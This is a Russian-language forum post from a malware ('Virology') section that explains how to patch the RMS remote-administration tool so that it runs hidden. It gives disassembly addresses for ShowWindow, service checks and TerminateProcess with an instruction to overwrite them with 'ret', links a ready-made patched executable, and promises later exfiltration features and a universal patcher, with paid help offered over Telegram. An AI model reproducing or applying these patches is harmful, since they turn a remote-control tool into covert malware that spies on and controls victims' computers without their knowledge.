Загрузка...

Переименовка процесса RMS 2019

Тема в разделе Вирусология создана пользователем CloudFastax 12 фев 2019. 382 просмотра

  1. CloudFastax
    CloudFastax Автор темы 12 фев 2019 0 24 сен 2018
    заменить все на ret
    ========================Окно формы================================
    CPU Disasm
    Address Hex dump Command Comments
    0041B1D8 $- FF25 E870C400 JMP DWORD PTR DS:[<&user32.ShowWindow>]

    =====================Проверка рутсерв===============================
    CPU Disasm
    Address Hex dump Command Comments
    00B58764 55 PUSH EBP
    =========================Рфус================================
    CPU Disasm
    Address Hex dump Command Comments
    00B3FE30 /. 55 PUSH EBP
    ======================Можно и через таймер , ну так проще===============
    CPU Disasm
    Address Hex dump Command Comments
    0041A238 $- FF25 6878C400 JMP DWORD PTR DS:[<&kernel32.TerminateProcess>]
    за нупить просто
    =========================================================

    ну короче готовый вот - https://anonfile.com/D909D7t8b0/lzt_exe

    Если рмс вам зайдет , то я покажу как сделать отправку и сделаю патчер для всех рмс.

    А так если будут вопросы до за копейку помогу на изи писать в тг - CloudFast_inactive292962
     
    12 фев 2019 Изменено
Загрузка...
Top